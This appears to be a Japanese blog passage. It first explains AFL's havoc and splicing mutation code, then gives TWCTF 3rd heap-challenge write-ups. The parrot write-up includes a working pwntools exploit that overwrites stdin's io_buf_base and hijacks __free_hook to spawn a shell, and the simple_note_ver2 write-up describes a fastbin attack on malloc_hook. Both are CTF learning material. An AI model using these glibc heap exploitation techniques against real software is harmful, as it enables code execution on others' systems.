  stage_cur   = 0;
  stage_max   = extras_cnt * len;

  orig_hit_cnt = new_hit_cnt;

  ex_tmp = ck_alloc(len + MAX_DICT_FILE);

  for (i = 0; i <= len; i++) {

    stage_cur_byte = i;

    for (j = 0; j < extras_cnt; j++) {

      if (len + extras[j].len > MAX_FILE) {//1KBを超えていない時
        stage_max--; 
        continue;
      }

      /* Insert token */
      memcpy(ex_tmp + i, extras[j].data, extras[j].len);//先にextrasをコピー

      /* Copy tail */
      memcpy(ex_tmp + i + extras[j].len, out_buf + i, len - i);//out_bufを後ろにつける

      if (common_fuzz_stuff(argv, ex_tmp, len + extras[j].len)) {
        ck_free(ex_tmp);
        goto abandon_entry;
      }

      stage_cur++;

    }

    /* Copy head */
    ex_tmp[i] = out_buf[i];//out_bufをex_tmpの先頭につける(ループが進むに連れてex_tmpの先頭からout_bufに変わっていく)

  }

  ck_free(ex_tmp);

  new_hit_cnt = queued_paths + unique_crashes;

  stage_finds[STAGE_EXTRAS_UI]  += new_hit_cnt - orig_hit_cnt;
  stage_cycles[STAGE_EXTRAS_UI] += stage_max;

自動で生成した辞書型のdataを使ってout_bufをoverwriteする戦略の説明は、最初に説明したユーザー側で用意した辞書型のdataを使ってout_bufをoverwriteする戦略と同じであるため、省略する。
以下は、該当部分のソースコードである。その他の部分は公開したソースコードを確認してほしい。

// 自動で生成した方でout_bufのoverwriteを行う
  stage_name  = "auto extras (over)";
  stage_short = "ext_AO";
  stage_cur   = 0;
  stage_max   = MIN(a_extras_cnt, USE_AUTO_EXTRAS) * len;

  stage_val_type = STAGE_VAL_NONE;

  orig_hit_cnt = new_hit_cnt;

  for (i = 0; i < len; i++) {

    u32 last_len = 0;

    stage_cur_byte = i;

    for (j = 0; j < MIN(a_extras_cnt, USE_AUTO_EXTRAS); j++) {

      /* See the comment in the earlier code; extras are sorted by size. */

      if (a_extras[j].len > len - i ||
          !memcmp(a_extras[j].data, out_buf + i, a_extras[j].len) ||
          !memchr(eff_map + EFF_APOS(i), 1, EFF_SPAN_ALEN(i, a_extras[j].len))) {

        stage_max--;
        continue;

      }

      last_len = a_extras[j].len;
      memcpy(out_buf + i, a_extras[j].data, last_len);

      if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry;

      stage_cur++;

    }

    /* Restore all the clobbered memory. */
    memcpy(out_buf + i, in_buf + i, last_len);

  }

  new_hit_cnt = queued_paths + unique_crashes;

  stage_finds[STAGE_EXTRAS_AO]  += new_hit_cnt - orig_hit_cnt;
  stage_cycles[STAGE_EXTRAS_AO] += stage_max;

RANDOM HAVOC(ランダムに用意された戦略を選ぶ戦略)

RANDOM HAVOC戦略では、最大で16パターンの戦略をランダムに選択をしてout_bufを変異させていく。
RANDOM HAVOC戦略の前に現在のqueue(queue_cur)にRANDOM HAVOC戦略までの戦略を終わらせたflag(passed_det)を立てる。これにより、次からはRANDOM HAVOC戦略だけから始まるようになる。(詳しくは戦略に入る前処理(dataの点数付け)を参照)
これから、RANDOM HAVOC戦略の説明に入る。

  • splice_cycle(SPLICING戦略の部分でflagが立つ)が0の場合次の処理にいく。
    • doing_det(PERFORMANCE SCOREの部分を突破flag)が立っていた場合1024、それ以外の場合は256が選ばれる。これらの値にperf_sore(詳しくは戦略に入る前処理(dataの点数付け)を参照)を100とhavoc_div(平均実行速度が遅いものに大きな値がつく)で割る。それをstage_maxにする。
  • splice_cycle(SPLICING戦略の部分でflagが立つ)が0以外の時は次の処理にいく。
    • stage_maxは32 * perf_score / havoc_div / 100になる。
  • stage_maxが16より小さい場合は16にする。
  • stageループ処理に入る。
    • use_stackingは16パターンある戦略を何回繰り返すかのループ処理の最大値である。この値は2から128までの値がランダムに選択される。
    • use_stackingを最大値にしたループ処理に入る。
      • swtich文で辞書型のdataがあるのであればtrueで2をたして0から16の範囲でランダムに選択される,falseなら0を選んで15を足して0から14の範囲でランダムに選択される
      • 以下のパターンは全てout_bufが挿入される場所、out_bufが書き換わる場所、out_bufに挿入される値、選択されるendianはランダムである。

        1. byte単位でbit反転処理を行う
        2. ランダムに選択された1byteのintresting valueを挿入する戦略
        3. ランダムに選択された2byteのintresting valueをランダムに選択されたendianで挿入する戦略
        4. ランダムに選択された4byteのintresting valueをランダムに選択されたendianで挿入する戦略
        5. ランダムで選ばれたARITH_MAXを1byteのout_bufに減算を行う戦略
        6. ランダムで選ばれたARITH_MAXを1byteのout_bufに加算を行う戦略
        7. ランダムで選ばれたARITH_MAXを2byteのout_bufにランダムに選択されたendianで減算を行う戦略
        8. ランダムで選ばれたARITH_MAXを2byteのout_bufにランダムに選択されたendianで加算を行う戦略
        9. ランダムで選ばれたARITH_MAXを4byteのout_bufにランダムに選択されたendianで減算を行う戦略
        10. ランダムで選ばれたARITH_MAXを4byteのout_bufにランダムに選択されたendianで加算を行う戦略
        11. なんとなく1-255の値を使ってxor戦略
        12. out_bufのデータをdeleteする戦略
        13. 11と同じ
        14. out_bufにout_buf自身を使ってコピーまたはinsert戦略
        15. out_bufにout_buf自身を使って書き換え戦略
        16. extrasを使ってoverwrite戦略
        17. extrasを使ってout_bufに追加する戦略
    • use_stackingループを抜けたら、common_fuzz_stuff関数を実行する
    • out_bufをin_bufを使って元の値に戻す。
    • havoc_queued(初期値はqueued_pathsと同じ)の値と一致しなかった時は次の処理に入る。
      • perf_scoreがhavocの最大スコアである1600以上でなければ、stage_maxとperf_scoreを2倍にする。
      • havoc_queuedにqueued_pathsを代入して値を更新する。
        以下に、該当部分のソースコードを載せておく、その他の部分は公開したソースコードを確認してほしい。
  /****************
   * RANDOM HAVOC *
   ****************/

havoc_stage:

  stage_cur_byte = -1;

  /* The havoc stage mutation code is also invoked when splicing files; if the
     splice_cycle variable is set, generate different descriptions and such. */

  if (!splice_cycle) {//retry_splice(havocの次)の時にflagがたつ

    stage_name  = "havoc";
    stage_short = "havoc";
    stage_max   = (doing_det ? HAVOC_CYCLES_INIT : HAVOC_CYCLES) *
                  perf_score / havoc_div / 100;//doin_detはパーフォーマンススコアをつけてその後の条件を突破したらつけられる。(基本初めてfuzzingされるもの)
                                               //havoc_divは平均実行速度が遅ければ遅いほど値が大きい

  } else {

    static u8 tmp[32];

    perf_score = orig_perf;

    sprintf(tmp, "splice %u", splice_cycle);
    stage_name  = tmp;
    stage_short = "splice";
    stage_max   = SPLICE_HAVOC * perf_score / havoc_div / 100;

  }

  if (stage_max < HAVOC_MIN) stage_max = HAVOC_MIN;//16より小さい時は一番最小の16にサイズを調整する

  temp_len = len;

  orig_hit_cnt = queued_paths + unique_crashes;

  havoc_queued = queued_paths;

  /* We essentially just do several thousand runs (depending on perf_score)
     where we take the input file and make random stacked tweaks. */

  for (stage_cur = 0; stage_cur < stage_max; stage_cur++) {

    u32 use_stacking = 1 << (1 + UR(HAVOC_STACK_POW2));//2から2^7(128)までのランダム値

    stage_cur_val = use_stacking;
 
    for (i = 0; i < use_stacking; i++) {
// extras_cnt + a_extras_cntがあるのであればtrueで2をたして0から16の範囲でランダム化,falseなら0を選んで15を足して0から14の範囲でランダム化
      switch (UR(15 + ((extras_cnt + a_extras_cnt) ? 2 : 0))) {
//byte単位でbit反転処理を行う
        case 0:

          /* Flip a single bit somewhere. Spooky! */

          FLIP_BIT(out_buf, UR(temp_len << 3));//1byte単位でのbit反転
          break;
//ランダムに選択された1byteのintresting valueを挿入する戦略
        case 1: 

          /* Set byte to interesting value. */

          out_buf[UR(temp_len)] = interesting_8[UR(sizeof(interesting_8))];//1byte単位のinteresting valueをランダムに入れる
          break;
//ランダムに選択された2byteのintresting valueをランダムに選択されたendianで挿入する戦略
        case 2:

          /* Set word to interesting value, randomly choosing endian. */

          if (temp_len < 2) break;//lenが2byteよりも小さい場合は終了

          if (UR(2)) {//1の場合 little endian

            *(u16*)(out_buf + UR(temp_len - 1)) =
              interesting_16[UR(sizeof(interesting_16) >> 1)];//2byteのinteresting valueをランダムに入れる

          } else {//0の場合 big endian

            *(u16*)(out_buf + UR(temp_len - 1)) = SWAP16(
              interesting_16[UR(sizeof(interesting_16) >> 1)]);//2byteのinteresting valueを入れ替えた値をランダムに入れる

          }

          break;
//ランダムに選択された4byteのintresting valueをランダムに選択されたendianで挿入する戦略
        case 3:

          /* Set dword to interesting value, randomly choosing endian. */

          if (temp_len < 4) break;

          if (UR(2)) {
  
            *(u32*)(out_buf + UR(temp_len - 3)) =
              interesting_32[UR(sizeof(interesting_32) >> 2)];

          } else {

            *(u32*)(out_buf + UR(temp_len - 3)) = SWAP32(
              interesting_32[UR(sizeof(interesting_32) >> 2)]);

          }

          break;
//ランダムで選ばれたARITH_MAXを1byteのout_bufに減算を行う戦略
        case 4:

          /* Randomly subtract from byte. */

          out_buf[UR(temp_len)] -= 1 + UR(ARITH_MAX);
          break;
//ランダムで選ばれたARITH_MAXを1byteのout_bufに加算を行う戦略
        case 5:

          /* Randomly add to byte. */

          out_buf[UR(temp_len)] += 1 + UR(ARITH_MAX);
          break;
//ランダムで選ばれたARITH_MAXを2byteのout_bufにランダムに選択されたendianで減算を行う戦略
        case 6:

          /* Randomly subtract from word, random endian. */

          if (temp_len < 2) break;

          if (UR(2)) {

            u32 pos = UR(temp_len - 1);

            *(u16*)(out_buf + pos) -= 1 + UR(ARITH_MAX);

          } else {

            u32 pos = UR(temp_len - 1);
            u16 num = 1 + UR(ARITH_MAX);

            *(u16*)(out_buf + pos) =
              SWAP16(SWAP16(*(u16*)(out_buf + pos)) - num);

          }

          break;
//ランダムで選ばれたARITH_MAXを2byteのout_bufにランダムに選択されたendianで加算を行う戦略
        case 7:

          /* Randomly add to word, random endian. */

          if (temp_len < 2) break;

          if (UR(2)) {

            u32 pos = UR(temp_len - 1);

            *(u16*)(out_buf + pos) += 1 + UR(ARITH_MAX);

          } else {

            u32 pos = UR(temp_len - 1);
            u16 num = 1 + UR(ARITH_MAX);

            *(u16*)(out_buf + pos) =
              SWAP16(SWAP16(*(u16*)(out_buf + pos)) + num);

          }

          break;
//ランダムで選ばれたARITH_MAXを4byteのout_bufにランダムに選択されたendianで減算を行う戦略
        case 8:

          /* Randomly subtract from dword, random endian. */

          if (temp_len < 4) break;

          if (UR(2)) {

            u32 pos = UR(temp_len - 3);

            *(u32*)(out_buf + pos) -= 1 + UR(ARITH_MAX);

          } else {

            u32 pos = UR(temp_len - 3);
            u32 num = 1 + UR(ARITH_MAX);

            *(u32*)(out_buf + pos) =
              SWAP32(SWAP32(*(u32*)(out_buf + pos)) - num);

          }

          break;
//ランダムで選ばれたARITH_MAXを4byteのout_bufにランダムに選択されたendianで加算を行う戦略
        case 9:

          /* Randomly add to dword, random endian. */

          if (temp_len < 4) break;

          if (UR(2)) {

            u32 pos = UR(temp_len - 3);

            *(u32*)(out_buf + pos) += 1 + UR(ARITH_MAX);

          } else {

            u32 pos = UR(temp_len - 3);
            u32 num = 1 + UR(ARITH_MAX);

            *(u32*)(out_buf + pos) =
              SWAP32(SWAP32(*(u32*)(out_buf + pos)) + num);

          }

          break;
//なんとなく1-255の値を使ってxor戦略
        case 10:

          /* Just set a random byte to a random value. Because,
             why not. We use XOR with 1-255 to eliminate the
             possibility of a no-op. */

          out_buf[UR(temp_len)] ^= 1 + UR(255);
          break;
//out_bufのデータをdeleteする戦略
        case 11 ... 12: {

            /* Delete bytes. We're making this a bit more likely
               than insertion (the next option) in hopes of keeping
               files reasonably small. */

            u32 del_from, del_len;

            if (temp_len < 2) break;

            /* Don't delete too much. */

            del_len = choose_block_len(temp_len - 1);//deleteできる長さを指定deleteする長さは最小サイズで決める

            del_from = UR(temp_len - del_len + 1);//deketeする先頭をランダムに決める

            memmove(out_buf + del_from, out_buf + del_from + del_len,
                    temp_len - del_from - del_len);//del_fromからdel_lenの足した場所(deleteされる一番後ろの次)をdel_fromの場所に移動

            temp_len -= del_len;//deleteした長さの減算

            break;

          }
//out_bufにout_buf自身を使ってコピーまたはinsert戦略
        case 13:

          if (temp_len + HAVOC_BLK_XL < MAX_FILE) {//1KBを超えていない時

            /* Clone bytes (75%) or insert a block of constant bytes (25%). */

            u8  actually_clone = UR(4);
            u32 clone_from, clone_to, clone_len;
            u8* new_buf;

            if (actually_clone) {// 1,2,3のとき

              clone_len  = choose_block_len(temp_len);//cloneする長さの選定
              clone_from = UR(temp_len - clone_len + 1);//cloneする先頭の選定

            } else {//0のときblock単位でのinsert戦略に強制的になる

              clone_len = choose_block_len(HAVOC_BLK_XL);
              clone_from = 0;

            }

            clone_to   = UR(temp_len);

            new_buf = ck_alloc_nozero(temp_len + clone_len);

            /* Head */

            memcpy(new_buf, out_buf, clone_to);

            /* Inserted part */

            if (actually_clone)
              memcpy(new_buf + clone_to, out_buf + clone_from, clone_len);//コピー戦略
            else
              memset(new_buf + clone_to,
                     UR(2) ? UR(256) : out_buf[UR(temp_len)], clone_len);//insert戦略

            /* Tail */
            memcpy(new_buf + clone_to + clone_len, out_buf + clone_to,
                   temp_len - clone_to);//コピーまたはinsertした次の部分にout_bufのcloneの次の残りの値を入れる

            ck_free(out_buf);
            out_buf = new_buf;//out_bufのポインタをnew_bufにする
            temp_len += clone_len;//cloneした長さ分を加算

          }

          break;
//out_bufにout_buf自身を使って書き換え戦略
        case 14: {

            /* Overwrite bytes with a randomly selected chunk (75%) or fixed
               bytes (25%). */

            u32 copy_from, copy_to, copy_len;

            if (temp_len < 2) break;

            copy_len  = choose_block_len(temp_len - 1);

            copy_from = UR(temp_len - copy_len + 1);
            copy_to   = UR(temp_len - copy_len + 1);

            if (UR(4)) {//75%の確率でout_bufの値を使って書き換える

              if (copy_from != copy_to)
                memmove(out_buf + copy_to, out_buf + copy_from, copy_len);

            } else memset(out_buf + copy_to,
                          UR(2) ? UR(256) : out_buf[UR(temp_len)], copy_len);//25%の確率でこちらになり、さらに50%の確率で0xffで書き換わる。

            break;

          }

        /* Values 15 and 16 can be selected only if there are any extras
           present in the dictionaries. */
//extrasを使ってoverwrite戦略
        case 15: {

            /* Overwrite bytes with an extra. */

            if (!extras_cnt || (a_extras_cnt && UR(2))) {//extrasがないとき、または自動extrasが1とANDをとったとき

              /* No user-specified extras or odds in our favor. Let's use an
                 auto-detected one. */

              u32 use_extra = UR(a_extras_cnt);
              u32 extra_len = a_extras[use_extra].len;
              u32 insert_at;

              if (extra_len > temp_len) break;

              insert_at = UR(temp_len - extra_len + 1);
              memcpy(out_buf + insert_at, a_extras[use_extra].data, extra_len);

            } else {//extrasがあった時、または自動extrasが0とANDをとったとき

              /* No auto extras or odds in our favor. Use the dictionary. */

              u32 use_extra = UR(extras_cnt);
              u32 extra_len = extras[use_extra].len;
              u32 insert_at;

              if (extra_len > temp_len) break;

              insert_at = UR(temp_len - extra_len + 1);
              memcpy(out_buf + insert_at, extras[use_extra].data, extra_len);//insert_atの部分から書き換え

            }

            break;

          }
//extrasを使ってout_bufに追加する戦略
        case 16: {

            u32 use_extra, extra_len, insert_at = UR(temp_len + 1);//out_ufのランダムな長さ
            u8* new_buf;

            /* Insert an extra. Do the same dice-rolling stuff as for the
               previous case. */

            if (!extras_cnt || (a_extras_cnt && UR(2))) {//extrasがないとき、または自動extrasが1とANDをとったとき

              use_extra = UR(a_extras_cnt);
              extra_len = a_extras[use_extra].len;

              if (temp_len + extra_len >= MAX_FILE) break;

              new_buf = ck_alloc_nozero(temp_len + extra_len);

              /* Head */
              memcpy(new_buf, out_buf, insert_at);//out_bufの先頭からinsert_atまでの長さをnew_bufにコピー

              /* Inserted part */
              memcpy(new_buf + insert_at, a_extras[use_extra].data, extra_len);//後ろにextrasを挿入

            } else {//extrasがあった時、または自動extrasが0とANDをとったとき

              use_extra = UR(extras_cnt);
              extra_len = extras[use_extra].len;

              if (temp_len + extra_len >= MAX_FILE) break;

              new_buf = ck_alloc_nozero(temp_len + extra_len);

              /* Head */
              memcpy(new_buf, out_buf, insert_at);

              /* Inserted part */
              memcpy(new_buf + insert_at, extras[use_extra].data, extra_len);//後ろにextrasを挿入

            }

            /* Tail */
            memcpy(new_buf + insert_at + extra_len, out_buf + insert_at,
                   temp_len - insert_at);//out_bufの残りをextrasの後ろにつける

            ck_free(out_buf);
            out_buf   = new_buf;
            temp_len += extra_len;

            break;

          }

      }

    }

    if (common_fuzz_stuff(argv, out_buf, temp_len))
      goto abandon_entry;

    /* out_buf might have been mangled a bit, so let's restore it to its
       original size and shape. */

    if (temp_len < len) out_buf = ck_realloc(out_buf, len);
    temp_len = len;
    memcpy(out_buf, in_buf, len);//out_bufを元に戻す

    /* If we're finding new stuff, let's run for a bit longer, limits
       permitting. */

    if (queued_paths != havoc_queued) {//havoc_queued(初期値はqueued_pathsと同じ)の値と一致しなかった時

      if (perf_score <= HAVOC_MAX_MULT * 100) {//HAVOCの最大スコアよりもperf_scoreが小さい場合
        stage_max  *= 2;//stageを2倍にして長くする
        perf_score *= 2;//スコアを2倍にする
      }

      havoc_queued = queued_paths;//queued_pathsが増えているので数を更新する

    }

  }

  new_hit_cnt = queued_paths + unique_crashes;

  if (!splice_cycle) {
    stage_finds[STAGE_HAVOC]  += new_hit_cnt - orig_hit_cnt;
    stage_cycles[STAGE_HAVOC] += stage_max;
  } else {
    stage_finds[STAGE_SPLICE]  += new_hit_cnt - orig_hit_cnt;
    stage_cycles[STAGE_SPLICE] += stage_max;
  }

SPLICING(dataをspliteする戦略)

  • use_spliceingは-M option(force_deterministic flagが立っていない時)以外の時にflagが立っている。
  • splice_cycleと比べてspliceingする最大回数である14回より下である。(splice_cycleこのとき加算される)
  • queueと現在のqueueの長さが2byte以上でなければならない
  • queueの数(queue_paths)が1より多い
    この4つの条件に当てはまるとSPLICING戦略に入る
  • in_bufとorig_inのaddressが一致しなかった場合現在のin_bufを解放してorig_inと同じアドレスにする。
  • 適当にqueueされているtest caseを引っ張ってくる。このとき、現在のtest caseと一致したら同じ処理をもう一度行う。
  • splicing_withに適当に引っ張ってきたqueue(tid)を入れる。また、targetに先頭のqueueを入れる。
  • tidが100を超えていれば現在のqueueからnext_100をたどっていく。(このときtidは100減算される)次にtidが0になるまでnextをたどっていく。つまり、目的のqueueの場所になるまで辿っていく。
  • targetの長さが2byteより下、または現在のqueueであった場合は次のtargetにして、splicing_withを加算する。
  • targetがなかった場合は最初からSPLICING戦略をやり直す
  • targetのdataをnew_bufにコピーする。
  • locate_diffs関数を使って、in_bufとnew_bufを先頭から比べて一番最初に違ったbyte(f_diff)と一番最後に違ったbyte(l_diff)を取得する
  • f_diffとl_diffがsplitできるよう長さでなければ最初からSPLICING戦略をやり直す
  • splite_atにf_diff + l_diffとf_diffの差分をとった値をランダムに選択された値を代入する
  • new_bufの先頭からin_bufの内容をsplite_atの長さまでをコピーする。
  • in_bufにnew_bufのアドレスを代入する。
  • out_bufのメモリを解放して、targetの長さでallocateしなおして、out_bufにin_buf(実質new_bufの内容)の内容をコピーする。
  • RANDOM HAVOC戦略にいく。
    以下に、該当部分のソースコードを載せておく、その他の部分は公開したソースコードを確認してほしい。
#ifndef IGNORE_FINDS

  /************
   * SPLICING *
   ************/

  /* This is a last-resort strategy triggered by a full round with no findings.
     It takes the current input file, randomly selects another input, and
     splices them together at some offset, then relies on the havoc
     code to mutate that blob. */

retry_splicing:
//use_spliceingは-M option(force_deterministic flagが立っていない時)以外の時に使われる
//spliceingする最大回数は14回
//queueと現在のqueueの長さが2byte以上でなければならない
  if (use_splicing && splice_cycle++ < SPLICE_CYCLES &&
      queued_paths > 1 && queue_cur->len > 1) {

    struct queue_entry* target;
    u32 tid, split_at;
    u8* new_buf;
    s32 f_diff, l_diff;

    /* First of all, if we've modified in_buf for havoc, let's clean that
       up... */

    if (in_buf != orig_in) {//addressが一致しなかった場合現在のin_bufを解放して元に戻す
      ck_free(in_buf);
      in_buf = orig_in;
      len = queue_cur->len;
    }

    /* Pick a random queue entry and seek to it. Don't splice with yourself. */
//適当にqueueされているtest caseを引っ張ってくる。このとき、現在のtest caseと一致したらもう一回
    do { tid = UR(queued_paths); } while (tid == current_entry);

    splicing_with = tid;
    target = queue;
//tidが100を超えていれば現在のqueueからnext_100をたどっていく。次にtidが0になるまでnextをたどっていく。そして目的のtidのqueueにたどり着く
    while (tid >= 100) { target = target->next_100; tid -= 100; }
    while (tid--) target = target->next;

    /* Make sure that the target has a reasonable length. */
//targetの長さが2byteより下、または現在のqueueであった場合は次のtargetにしていく
    while (target && (target->len < 2 || target == queue_cur)) {
      target = target->next;
      splicing_with++;
    }

    if (!target) goto retry_splicing;//targetがなかった場合はもう一回最初から

    /* Read the testcase into a new buffer. */

    fd = open(target->fname, O_RDONLY);

    if (fd < 0) PFATAL("Unable to open '%s'", target->fname);

    new_buf = ck_alloc_nozero(target->len);

    ck_read(fd, new_buf, target->len, target->fname);

    close(fd);

    /* Find a suitable splicing location, somewhere between the first and
       the last differing byte. Bail out if the difference is just a single
       byte or so. */
//in_bufとnew_bufの一番最初に違ったbyteと一番最後に違ったbyteを取得する
    locate_diffs(in_buf, new_buf, MIN(len, target->len), &f_diff, &l_diff);

    if (f_diff < 0 || l_diff < 2 || f_diff == l_diff) {//splitできるよう長さでなければ
      ck_free(new_buf);
      goto retry_splicing;
    }

    /* Split somewhere between the first and last differing byte. */

    split_at = f_diff + UR(l_diff - f_diff);//splitの長さを決める

    /* Do the thing. */

    len = target->len;
    memcpy(new_buf, in_buf, split_at);//new_bufにsplitした長さ分だけコピー
    in_buf = new_buf;

    ck_free(out_buf);
    out_buf = ck_alloc_nozero(len);
    memcpy(out_buf, in_buf, len);//out_bufにtarget queueの長さの分だけout_bufにコピー

    goto havoc_stage;

  }

#endif /* !IGNORE_FINDS */

いかがでしたでしょうか。以上がfuzz_one関数の部分になります。
余裕があったらundocument部分にも触れたかったんですけど、疲れたので今回はこのくらいにしておきます。
次回(もしあればいいなぁ)は、メモリまわり、undocumentの部分、並行処理まわりに触れていきたいと思います。

TWCTF 3rd parrot

この問題は64bitのELFファイルでできているheap問題だった。本番環境では実際に試していないため、どのくらい差異があるのかわからないが、自分の備忘録として記録しておく。まずはセキュリティチェック
f:id:shimasyaro:20170918103655p:plain
gotの書き換えは不可ということを考えてやっていく。色々調べた結果以下のようなことが分かった。

  • sizeを入力した後にmallocされたBufferに対してを入力させ、Bufferの中身を出力された後にFreeされる。

  • ユーザから入力を受け取った時のsizeはread関数のsizeでも使われる。

  • read関数のsize - 1とmallocのポインタを足したところにNULLを挿入する。

今回のバグはsizeを任意のアドレスなどの非常に大きなsizeを確保するときに失敗する。今回の問題ではmallocが失敗した時の例外処理がされていないため、ポインタとしては失敗したときに0が入っている。つまり、sizeの部分に任意のアドレスを置けばNULLが挿入されて書き換えることができる。
以上の条件から今回はstdinのIO_FILE構造体のio_buf_baseを書き換える方針でやっていく。
まずは、libcの特定である。今回の特定方法は任意でmalloc, freeすることはできないため、malloc_consolidateを使ったlibcの特定をやっていく。今回で必要となる条件はfastbinsで二つ確保(それぞれ違うsize)した後に、fastbinsより大きいsizeを確保することでmain_arenaの特定をすることができる。具体的にどういった条件でmalloc_condolidateが発動するのか見てみよう。今回はFreeの方のmalloc_condolidateを利用していく。
f:id:shimasyaro:20170918110145p:plain

  • 現在のsize(unlink処理, topとの併合の処理のすべてが終わった時のsize)が0x10000以上であれば次の条件に行く。

  • fastbins chunkを持っている(1個以上)

以上の条件でmalloc_consolidateの処理に入る。また、malloc_condolidateは主にfastbinsのunlink処理を行っている。fastbinsのchunkのsizeはprev in useが立っている状態でスタートする。簡単にまとめると以下のようになっている。

  1. fastbins小さい順から処理を行っていく。

  2. prev in useが0であれば上方とunlinkする。

  3. next chunkがtopでなければ以下の処理をする。topであればtopと併合

 3-1. next chunkの次のprev in useを調べて0だったらnext chunkをunlinkする。0でなければnext chunkのprev in useを0にする。
 3-2. unsorted_bin[0] = p, unsorted_bin[0]->bk = p
 3-3. sizeがsmall_sizeの範囲でなければ条件に入る(今回は関係ない)
 3-4. sizeにprev in useを立てて、p->fd = unsorted_bin[-2], p->bk = unsorted_bin[0]を代入して、次のchunkにprev in useを立てる。

  1. pにnext chunkを代入した後に、次のchunkがあるか確かめる。なければループを抜ける。

  2. 次の大きさのfastbinに行き、それが最大のfastbins sizeになるまで続ける。

この条件から、以下のような戦略でlibcを特定する。

  • mallocを0x20、0x30、0x80の順番で確保する。

  • mallocを0x80で行い、8byte分だけ埋めるとmain_arenaのアドレスがleakできる。

8byte埋めるmallocされる前の様子は以下のようになっている
f:id:shimasyaro:20170919091556p:plain
次はio_buf_baseを書き換える方法であるが、これは、FILEのbufferのスタート位置を決めている部分である。つまり、ここの部分を書き換えることによってbufferとして使われるアドレスを変更することができる。つまり、今回の攻撃方針は以下のようになる。

  • read関数のsize - 1とmallocのポインタを足したところにNULLを挿入されるのを利用してsizeの部分にio_buf_baseのアドレスをセットする。

  • 次のsizeの部分でio_buf_baseをfree_hook、io_buf_endをfree_hook+8のアドレスをセットする。

  • 次のsizeでfree_hookをdo_systemに書き換えてshell起動

以下は、io_buf_baseがNULLに書き換わる直前である
f:id:shimasyaro:20170919094514p:plain
以下はio_buf_baseが書き換わった後のIO_FILE構造体の様子である。
f:id:shimasyaro:20170919094631p:plain
以下は、io_buf_baseをfree_hook、io_buf_endをfree_hook+8のアドレスをセットした様子である。
f:id:shimasyaro:20170919095054p:plain
この後に、再びsizeの部分にの入力をしないといけないが、bufferの入力を大量に行わないといけない。これは、sizeの部分でfree_hookの書き換えるときのバイト数に関係していると思うが、正確なバイト数ではない、また、関係性が分かっていないため、もしかしたら、環境によって違ってくるのかもしれない。(誰か教えてください)
以下はfree_hookがdo_systemに書き換わった様子である。
f:id:shimasyaro:20170919100559p:plain
do_systemはglibc/sysdeps/posix/system.cで定義されている今回はその中でも以下の部分を用いている。
f:id:shimasyaro:20170919100730p:plain
すると_int_freeが実行される前に以下のようにdo_systemが行われてshellが起動する。
f:id:shimasyaro:20170919100836p:plain
参考にさせていただいたCTF/Parrot.md at master · scwuaptx/CTF · GitHubのコードを少し改良したものが以下のコードである。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log
elf = ELF('./parrot') 

if len(sys.argv) > 1:
        HOST = 'localhost'
        PORT = 4444
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        r = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        libc = ELF('./libc.so.6')
        r = process(["./parrot"], env={"LD_PRELOAD":"./libc.so.6"}) 
        log.info("PID : " + str(proc.pidof(r)[0]))
        print "[+] connect to local\n"

def alloc(size,data):
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(data)

alloc(0x20,"D")
alloc(0x30,"D")
alloc(0x80,"g")
alloc(0x80,"d"*7)
r.recvuntil("d\n")
libc = u64(r.recv(8)) - 0x3c4b78
print  "libc:",hex(libc)
io_buf_base = libc + 0x3c4918
alloc(io_buf_base+1,"") 
r.recvuntil(":")
free_hook = libc + 0x3c67a8
r.sendline("1".ljust(0x18,"\x00") + p64(free_hook) + p64(free_hook+0x8) + p64(0))
for i in range(0x2f): # local 0x2d remote 0x2f
    r.recvuntil('er:')
    r.sendline('')
r.recvuntil("Size:")
magic = libc + 0x4526a    # do_system
print  "magic:",hex(magic)
r.sendline(p64(magic))
r.sendline('id\n')
r.interactive()

また、別解としてTokyoWesterns 2017 - Parrotがあるが、かなり複雑である。作者曰く似ているとしてあげているHouse of Orangeを理解してからこの別解も理解できたらいいなぁというお気持ち。

[総評]IO_FILEで色々なことができるのは面白いと思った。
   

TWCTF 3rd simple_note_ver2

この問題は64bitのELFファイルでできているheap問題だった。本番環境では実際に試していないため、どのくらい差異があるのかわからないが、自分の備忘録として記録しておく。まずはセキュリティチェック
f:id:shimasyaro:20170914224953p:plain
gotの書き換えは無理という前提で考えなければならないことが分かる。では早速問題のバイナリを見ていく。見ていった結果以下のようなことが分かった。

  • add(malloc)するときのsize checkがない。

  • add(malloc)のとき、mallocでつかったsizeがそのまま、noteを受け取るときにread関数で使われる。

  • noteのsize - 1がread関数の引数になるため、sizeを0にすると0xffffffffとなり、heap overflowを起こす。

以上の条件からfastbins attackをして、malloc_hookを書き換えてshellを取るという方針で説明していく。

まず、libcの特定方法であるが、simple_note(TWCTF 3rd simple_note - ちょっとずつ成長日記)とやり方が変わらないため、割愛させていただく。

次に、heap overflowをさせ、fastbinsのfdを書き換えていく。まず、書き換えを行うindex 2とindex 0をfreeする。freeした様子が以下のようになる。
f:id:shimasyaro:20170914122926p:plain
次に、sizeを0にしてmallocを行うとindex 0にmallocされ、heap overflowでfdを書き換えることができる。書き換えた様子が以下のようになる。
f:id:shimasyaro:20170914124058p:plain
書き換えるのはfdだけでよい。(prev_size, sizeを壊さないように配置するだけ)
fdとして配置したものだが、これはfastbinsのsize checkを潜り抜けるために、必要な場所をprev_sizeとした。fdの場所を以下に示す。
f:id:shimasyaro:20170914124630p:plain
赤枠で囲っている部分がmallocされるときにfastbinsのsize checkを抜けるmalloc chunkのsizeの部分である。具体的には以下のところのcheckを抜けるのに必要となる。
f:id:shimasyaro:20170914124831p:plain
ここは、要求sizeにあわせたfastbinsとfreeとして存在しているfastbinsのsizeのindexが一致しているかどうかのチェックが行われている。もし、一致しなければabortしてしまうため注意が必要である。
今回は0x7fとすることで、fastbinsの0x70サイズにしつつ、要求サイズにも合わせている形になっている。(今回の例でいうのであれば要求サイズがfastbinsの0x70の範囲つまり、0x58 < size <0x69であればOK)
次に、サイズに合わせたmallocを2回行う。1回目はindex 2がポインタとして返ってくる。2回目はfdで書き換えた部分が返ってくる。以下は1回目mallocしたときのfastbinsの様子である。
f:id:shimasyaro:20170914135711p:plain
